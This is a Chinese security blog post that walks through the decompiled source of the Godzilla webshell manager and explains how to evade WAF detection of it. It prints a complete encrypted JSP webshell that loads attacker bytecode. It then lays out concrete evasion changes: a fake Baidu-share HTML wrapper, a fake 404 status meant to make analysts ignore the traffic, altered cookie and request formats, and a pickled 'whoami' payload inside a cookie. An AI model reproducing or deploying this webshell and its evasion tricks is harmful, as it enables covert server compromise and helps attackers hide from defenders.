哥斯拉源码解读+如何绕过waf检测

admin 2024年12月5日21:03:25评论6 views字数 15089阅读50分17秒阅读模式

前言

一个 webshell 工具核心无疑就是三点,webshell 生成,webshell 连接,webshell 利用,那为什么哥斯拉能够在 hw 期间沸沸扬扬,这里我们拆开他的源码来简单分析

环境搭建

直接下载别人已经反编译好的源码就可以了https://github.com/safe6Sec/ShellManageTool

然后把 resource 设置为资源目录

哥斯拉源码解读+如何绕过waf检测

webshell 生成

哥斯拉源码解读+如何绕过waf检测

可以看到哥斯拉有如下的选项密码和 key 自定义,有效载荷就是什么类型的 webshell,然后和加密器

对应到代码部分这里以 java 为例子了

shells/cryptions/JavaAes/Generate.java

开始调试分析首当其冲的是 GenerateShellLoder 方法

publicstaticbyte[] GenerateShellLoder(String pass, String secretKey, boolean isBin) {    String template;try {InputStreaminputStream= Generate.class.getClassLoader().getResourceAsStream("shell/java/template/" + (isBin ? "raw" : "base64") + "GlobalCode.bin");StringglobalCode=newString(functions.readInputStream(inputStream));        inputStream.close();StringglobalCode2= globalCode.replace("{pass}", pass).replace("{secretKey}", secretKey);InputStreaminputStream2= Generate.class.getClassLoader().getResourceAsStream("shell/java/template/" + (isBin ? "raw" : "base64") + "Code.bin");Stringcode=newString(functions.readInputStream(inputStream2));        inputStream2.close();ObjectselectedValue= JOptionPane.showInputDialog((Component) null, "suffix", "selected suffix", 1, (Icon) null, SUFFIX, (Object) null);if (selectedValue == null) {returnnull;        }Stringsuffix= (String) selectedValue;InputStreaminputStream3= Generate.class.getClassLoader().getResourceAsStream("shell/java/template/shell." + suffix);Stringtemplate2=newString(functions.readInputStream(inputStream3));        inputStream3.close();//jspx 需要处理        if (suffix.equals(SUFFIX[1])) {            globalCode2 = globalCode2.replace("<", "&lt;").replace(">", "&gt;");            code = code.replace("<", "&lt;").replace(">", "&gt;");        }        //判断是不是上帝模式,如果是会进行unicode编码        if (ApplicationContext.isGodMode()) {            template = template2.replace("{globalCode}", functions.stringToUnicode(globalCode2)).replace("{code}", functions.stringToUnicode(code));        } else {            template = template2.replace("{globalCode}", globalCode2).replace("{code}", code);        }        return template.replace("n", "").replace("r", "").getBytes();    } catch (Exception e) {        Log.error(e);        return null;    }}

首先获取薄板,是根据我们的加密器来决定的,这里选的 base64

内容如下

try {    // 解码传入的 base64 字符串    byte[] data = base64Decode(request.getParameter(pass));data = x(data, false);    // 如果 session 中没有 "payload" 属性,则初始化它if (session.getAttribute("payload") == null) {        session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));    } else {        // 如果 "payload" 已存在,则将数据存入请求参数        request.setAttribute("parameters", data);        // 创建一个 ByteArrayOutputStream 对象        java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();        // 创建一个新的 "payload" 类实例并执行一些操作        Object f = ((Class) session.getAttribute("payload")).newInstance();        // 这两行代码的作用可能是执行某些方法(实际上似乎在执行一些无效的操作)f.equals(arrOut);  // 这里可能有逻辑错误,equals 方法不应该在这里使用f.equals(pageContext);  // 这里也类似,pageContext 似乎并不相关        // 使用 md5 对数据进行处理,并分段输出response.getWriter().write(md5.substring(0, 16));        // 将 ByteArrayOutputStream 的内容进行 Base64 编码后写入响应response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));        // 输出 md5 后半部分response.getWriter().write(md5.substring(16));    }} catch (Exceptione) {    // 处理异常    e.printStackTrace();  // 输出异常的堆栈信息}

这也是我们生成文件的模板主要是在设置响应的内容,然后我们直接看到最后生成的 webshell 吧,因为中间就是对输入的值的一些替换

<%!    // 定义常量和变量    String xc = "3c6e0b8a9c15224a";    String pass = "passasd";    String md5 = md5(pass + xc);    // 自定义类加载器,继承 ClassLoaderclassXextendsClassLoader {        public X(ClassLoader z) {            super(z); // 使用指定的父加载器        }        // 自定义方法:从字节数组加载类        public ClassQ(byte[] cb) {return super.defineClass(cb, 0, cb.length); // 定义并返回类        }    }    // AES 加解密方法    public byte[] x(byte[] s, boolean m) {try {            javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");            c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));return c.doFinal(s); // 执行加解密        } catch (Exception e) {return null; // 处理异常,返回 null        }    }    // MD5 加密方法    public static String md5(String s) {        String ret = null;try {            java.security.MessageDigest m = java.security.MessageDigest.getInstance("MD5");            m.update(s.getBytes(), 0, s.length());            ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase(); // 转换为十六进制并返回        } catch (Exception e) {}return ret;    }    // Base64 编码方法    public static String base64Encode(byte[] bs) throws Exception {Classbase64;Stringvalue = null;try {            // 使用 Java 8+ 的 Base64 编码            base64 = Class.forName("java.util.Base64");            Object encoder = base64.getMethod("getEncoder", null).invoke(base64, null);            value = (String) encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(encoder, new Object[]{bs});        } catch (Exception e) {try {                // 使用旧版本的 Base64 编码                base64 = Class.forName("sun.misc.BASE64Encoder");                Object encoder = base64.newInstance();                value = (String) encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(encoder, new Object[]{bs});            } catch (Exception e2) {}        }return value; // 返回编码后的字符串    }    // Base64 解码方法    public static byte[] base64Decode(String bs) throws Exception {Classbase64;byte[] value = null;try {            // 使用 Java 8+ 的 Base64 解码            base64 = Class.forName("java.util.Base64");            Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);            value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});        } catch (Exception e) {try {                // 使用旧版本的 Base64 解码                base64 = Class.forName("sun.misc.BASE64Decoder");                Object decoder = base64.newInstance();                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});            } catch (Exception e2) {}        }return value; // 返回解码后的字节数组    }%><%try {        // 从请求中获取传入的 base64 参数并进行解码        byte[] data = base64Decode(request.getParameter(pass));data = x(data, false); // 使用 AES 解密        // 如果 session 中没有 payload,则加载字节码if (session.getAttribute("payload") == null) {            session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));        } else {            // 如果 payload 存在,则继续处理            request.setAttribute("parameters", data);            // 创建 ByteArrayOutputStream 用于存储数据            java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();            // 通过反射实例化 payload            Object f = ((Class) session.getAttribute("payload")).newInstance();            // 执行一些不必要的操作(这里只是防止错误的代码)f.equals(arrOut);f.equals(pageContext);            // 向响应中写入 MD5 字符串的前 16 个字符response.getWriter().write(md5.substring(0, 16));            // 将处理后的数据进行 Base64 编码并写入响应response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));            // 写入 MD5 字符串的后 16 个字符response.getWriter().write(md5.substring(16));        }    } catch (Exceptione) {        // 捕获异常并忽略    }%>

连接 webshell

首先连接你生成的 webshell

对应的 ui 是在 testButtonClick 方法

private void testButtonClick(ActionEvent actionEvent) {if (!updateTempShellEntity()) {        JOptionPane.showMessageDialog(this, this.error, "提示", 2);this.error = null;    } elseif (!this.shellContext.initShellOpertion()) {        JOptionPane.showMessageDialog(this, "initShellOpertion Fail", "提示", 2);    } elseif (this.shellContext.getPayloadModel().test()) {        JOptionPane.showMessageDialog(this, "Success!", "提示", 1);    } else {        JOptionPane.showMessageDialog(this, "Payload Test Fail", "提示", 2);    }}

然后看到 updateTempShellEntity 方法就是更新一些初始化的值

哥斯拉源码解读+如何绕过waf检测

代码中也能看出来他的作用

回到方法往下看initShellOpertion

public boolean initShellOpertion() {    boolean state = false;try {this.http = ApplicationContext.getHttp(this);this.payloadModel = ApplicationContext.getPayload(this.payload);this.cryptionModel = ApplicationContext.getCryption(this.payload, this.cryption);//初始化,会发送初始化payload        this.cryptionModel.init(this);        if (this.cryptionModel.check()) {            this.payloadModel.init(this);            //发送测试包            if (this.payloadModel.test()) {                state = true;            } else {                Log.error("payload Initialize Fail !");            }        } else {            Log.error("cryption Initialize Fail !");        }        return state;    } catch (Exception e) {        Log.error(e);        return false;    }}

初始化 payloadModel 和 cryptionModel 对象这两个名字就能看出他们的作用,payloadModel

哥斯拉源码解读+如何绕过waf检测

可以看到它实现的接口,都是用于文件操作和命令执行的而 getCryption 就是加解密的

哥斯拉源码解读+如何绕过waf检测

然后就是相应的init 方法

public void init(ShellEntity context) {this.shell = context;this.http = this.shell.getHttp();this.key = this.shell.getSecretKeyX();this.pass = this.shell.getPassword();    String findStrMd5 = functions.md5(this.pass + new String(this.key));//初始化md5标识    this.findStrLeft = findStrMd5.substring(0, 16).toUpperCase();    this.findStrRight = findStrMd5.substring(16).toUpperCase();    try {        this.encodeCipher = Cipher.getInstance("AES");        this.decodeCipher = Cipher.getInstance("AES");        this.encodeCipher.init(1, new SecretKeySpec(this.key.getBytes(), "AES"));        this.decodeCipher.init(2, new SecretKeySpec(this.key.getBytes(), "AES"));        this.payload = this.shell.getPayloadModel().getPayload();        if (this.payload != null) {            this.http.sendHttpResponse(this.payload);            this.state = true;            return;        }        Log.error("payload Is Null");    } catch (Exception e) {        Log.error(e);    }}

哥斯拉源码解读+如何绕过waf检测

可以看到初始化了我们传入的必要参数,然后对我们的后续加解密做一个处理,这里分析 paylaod而这个 paylaod 其实就是 shells/java/assets/payload.class 类文件的字节码然后通过 sendHttpResponse 发送给我们的服务端

对应的加密逻辑其实也是在 sendHttpResponse 方法最终重载的方法是在

public HttpResponse sendHttpResponse(Map<String, String> header, byte[] requestData, int connTimeOut, int readTimeOut) {int i;int i2 = 1;    //对发送数据进行加密    byte[] requestData2 = this.shellContext.getCryptionModel().encode(requestData);if (this.shellContext.isSendLRReqData()) {        byte[] leftData = this.shellContext.getReqLeft().getBytes();        byte[] rightData = this.shellContext.getReqRight().getBytes();if (leftData.length > 0) {            i = leftData.length;        } else {            i = 1;        }        Object concatArrays = functions.concatArrays(leftData, 0, i - 1, requestData2, 0, requestData2.length - 1);intlength = (leftData.length + requestData2.length) - 1;if (rightData.length > 0) {            i2 = rightData.length;        }        requestData2 = (byte[]) functions.concatArrays(concatArrays, 0, length, rightData, 0, i2 - 1);    }return SendHttpConn(this.shellContext.getUrl(), "POST", header, requestData2, connTimeOut, readTimeOut, this.proxy);}

先是 getCryptionModel 获取我们已经初始化好的对象,然后调用它的 encode 方法去加密加密逻辑如下

public byte[] encode(byte[] data) {try {return (this.pass + "=" + URLEncoder.encode(functions.base64Encode(this.encodeCipher.doFinal(data)))).getBytes();    } catch (Exception e) {        Log.error(e);returnnull;    }}

可以通过 bp 抓

哥斯拉源码解读+如何绕过waf检测

然后我们关注它的 check 方法,这个决定了我们是否进行下一步

publicbooleancheck() {returnthis.state;}

关键因素就是 state 的值赋值还是在我们的 init 方法

if (this.payload != null) {this.http.sendHttpResponse(this.payload);this.state = true;return;}

通过请求是否发送成功来判断的然后开始 payloadModel 的 init 方法了其实就是获取一些基础的东西

public void init(ShellEntity shellContext) {this.shell = shellContext;this.http = this.shell.getHttp();this.encoding = Encoding.getEncoding(this.shell);}

然后来到 test 方法简单说了,这里主要和强特征有关系就是执行 test 后会发送一个请求,表示 ok

哥斯拉源码解读+如何绕过waf检测

按照

加密后的data  -> url解码->  base64解码        -> aes 解密                ->  data

就是 ok但是发现一个连接成功的请求会发送两次一样的流量因为在 testButtonClick 方法还会执行 this.shellContext.getPayloadModel().test()

JSESSIONID=3E8AA54AFF6C2181D507E41CB5937CC8;b-user-id=b5490138-8359-6825-70e1-36fa65145827;Goland-d16e3610=28e7f147-51b1-4f14-80ea-32104ce16340;RememberMe=gASVagAAAAAAAACMA2FwcJSMBUxvZ2lulJOUKYGUfZQojARuYW1llIwfYicnJyhjb3Mgc3lzdGVtIFMnd2hvYW1pJyBvLicnJ5SMA3B3ZJSMH2InJycoY29zIHN5c3RlbSBTJ3dob2FtaScgby4nJyeUdWIu;dreamer-cms-s=77128981-8d6c-4f8b-8df8-dbd72815e323;Idea-6eab18cc=b90e0a78-0a4a-4d1b-9992-facc3898e358;JSESSIONID=ACB916B2E94C3D611F5D1FA014CA9FAD

流量特征

cookie 的;号

观察我们的 bp 的包

哥斯拉源码解读+如何绕过waf检测

可以发现 cookie 后面是有一个;号的

按照道理来说,最后一个 cookie 值是不应该有;号的,随便找一个包,也可以证实

哥斯拉源码解读+如何绕过waf检测

我们寻找对应的代码逻辑,也就是 setcookie 的值对应的代码如下

protectedvoidhandleHeader(Map<String, List<String>> map) {this.headerMap = map;this.message = (String)((List)map.get((Object)null)).get(0);try {Http http = this.shellEntity.getHttp();        http.getCookieManager().put(http.getUri(), map);        http.getCookieManager().getCookieStore().get(http.getUri());List<HttpCookie> cookies = http.getCookieManager().getCookieStore().get(http.getUri());StringBuilder sb = newStringBuilder();        cookies.forEach((cookie) -> {            sb.append(String.format(" %s=%s;", cookie.getName(), cookie.getValue()));        });this.shellEntity.getHeaders().put("Cookie", sb.toString().trim());    } catch (IOException var5) {        var5.printStackTrace();    }}

可以看到形式为%s=%s;后面加了分号,我们直接删掉

响应体特征

我们随便找一个响应的包

哥斯拉源码解读+如何绕过waf检测

发现很想 base64,但是前后面又加了一些奇怪的东西

md5 前十六位+base64+md5 后十六位

代码对应的逻辑是在我们的模板文件

response.getWriter().write(md5.substring(0, 16));// 将 ByteArrayOutputStream 的内容进行 Base64 编码后写入响应response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));// 输出 md5 后半部分response.getWriter().write(md5.substring(16));

可以看到响应就是这样写的

我们可以直接修改模板文件,毕竟 jsp 中是可以插入 html 代码的

但是只修改模板文件是不行的,你毕竟还有前端和后端我们看看后端是如何处理这个内容的

我们看看对响应的逻辑处理

publicHttpResponse(HttpURLConnection http, ShellEntity shellEntity2)throws IOException {this.shellEntity = shellEntity2;    handleHeader(http.getHeaderFields());    ReadAllData(getInputStream(http));}

把响应传入了 ReadAllData 方法

public void ReadAllData(InputStream inputStream) throws IOException {try {if (this.headerMap.get("Content-Length") == null || this.headerMap.get("Content-Length").size() <= 0) {this.result = ReadUnknownNumData(inputStream);        } else {this.result = ReadKnownNumData(inputStream, Integer.parseInt(this.headerMap.get("Content-Length").get(0)));        }    } catch (NumberFormatException e) {this.result = ReadUnknownNumData(inputStream);    }this.result = this.shellEntity.getCryptionModel().decode(this.result);}

跟进 decode 方法

publicbyte[] decode(byte[] data) {try {//这里注意有个findStr        return this.decodeCipher.doFinal(functions.base64Decode(findStr(data)));    } catch (Exception e) {        Log.error(e);        return null;    }}

这里开始解码了,关键是 findStr 对我们的数据进行了处理

publicStringfindStr(byte[] respResult) {//从标识里面提出真正的结果    return functions.subMiddleStr(new String(respResult), this.findStrLeft, this.findStrRight);}

就是只截取中间的字符串,也就是 base64 编码的部分

所以我们需要修改的话还需要修改后端的逻辑

这里各位师傅都各显神通了,伪造了 waf 页面是一个不错的选择

这里可以参考开源工具https://github.com/kong030813/Z-Godzilla_ekp

StringfindStrMd5=functions.md5(this.pass+newString(this.key));Stringmd5Prefix=findStrMd5.substring(0,5);this.findStrLeft1="var Rebdsek_config=";this.findStrLeft=this.findStrLeft1.replace("bdsek",md5Prefix);this.findStrRight=";";

可以看到把原来的修改为了固定头加替换,半固定吧然后我们看效果

哥斯拉源码解读+如何绕过waf检测

可以看到原作回显已经变了

当然模板也需要修改了

我们看看二开的模板

<%    try {        // 获取并解码传入的 base64 参数        byte[] data = base64Decode(request.getParameter(pass).getBytes());        data = base64Decode(data); // 再次解码        data = x(data, false); // 使用 AES 解密        // 如果 session 中没有 payload,则加载字节码        if (session.getAttribute("payload") == null) {            session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));        } else {            // 如果 payload 存在,则继续处理            request.setAttribute("parameters", data);            // 创建 ByteArrayOutputStream 用于存储数据            java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();            // 通过反射实例化 payload            Object f = ((Class) session.getAttribute("payload")).newInstance();            // 执行一些无意义的操作(这里只是防止错误的代码)            f.equals(arrOut);            f.equals(pageContext);            // 获取 MD5 的前 5 个字符            String left = md5.substring(0, 5).toLowerCase();            // 替换字符串中的部分内容            String replacedString = "var Rebdsek_config=".replace("bdsek", left);            // 设置响应的内容类型为 HTML            response.setContentType("text/html");            // 输出 HTML 页面的头部和开始部分            response.getWriter().write("<!DOCTYPE html>");            response.getWriter().write("<htmllang="en">");            response.getWriter().write("<head>");            response.getWriter().write("<metacharset="UTF-8">");            response.getWriter().write("<title>{title}</title>");            response.getWriter().write("</head>");            response.getWriter().write("<body>");            // 输出嵌入的 JavaScript 代码            response.getWriter().write("<script>");            response.getWriter().write("<!-- BaiduButtonBEGIN");            response.getWriter().write("<script type="text/javascript" id="bdshare_js" data="type=slide&amp;img=8&amp;pos=right&amp;uid=6537022" ></script>");            response.getWriter().write("<scripttype="text/javascript" id="bdshell_js"></script>");            response.getWriter().write("<scripttype="text/javascript">");            response.getWriter().write(replacedString); // 输出替换后的 JavaScript 代码            f.toString(); // 执行某些操作            response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true))); // 输出加密数据            response.getWriter().write(";");            response.getWriter().write("document.getElementById("bdshell_js").src = "http://bdimg.share.baidu.com/static/js/shell_v2.js?cdnversion=" + Math.ceil(new Date()/3600000);");            response.getWriter().write("</script>");            response.getWriter().write("-->");            response.getWriter().write("</script>");            response.getWriter().write("</body>");            response.getWriter().write("</html>");        }    } catch (Exception e) {        // 捕获异常并忽略    }%>

我感觉不如伪造一个 404 页面来得实在

只需要在木马中多加

<%    response.setStatus(404);  // 设置 HTTP 状态码为 404    response.getWriter().write("Page not found");%>

我们看看效果访问这个木马

哥斯拉源码解读+如何绕过waf检测

然后看看执行命令的回显

哥斯拉源码解读+如何绕过waf检测

可以看到直接是 404

这样还是比较容易隐蔽的,一般我看流量都会过滤 404 的包

请求包特征

我们随便看一个请求包都是

哥斯拉源码解读+如何绕过waf检测

参数=编码

所以这里我们还可以伪造一下请求包

我们可以直接在基础中修改

哥斯拉源码解读+如何绕过waf检测

然后我们再次看到请求包

哥斯拉源码解读+如何绕过waf检测

可以看到已经变了

参考https://github.com/kong030813/Z-Godzilla_ekp

【来源】:https://xz.aliyun.com/t/16515?time__1311=GuD%3DY5BKiK0K7KDsD7%2BG7bN61%3DtL5G8FUeD

原文始发于微信公众号(船山信安):哥斯拉源码解读+如何绕过waf检测

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月5日21:03:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   哥斯拉源码解读+如何绕过waf检测https://cn-sec.com/archives/3469443.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息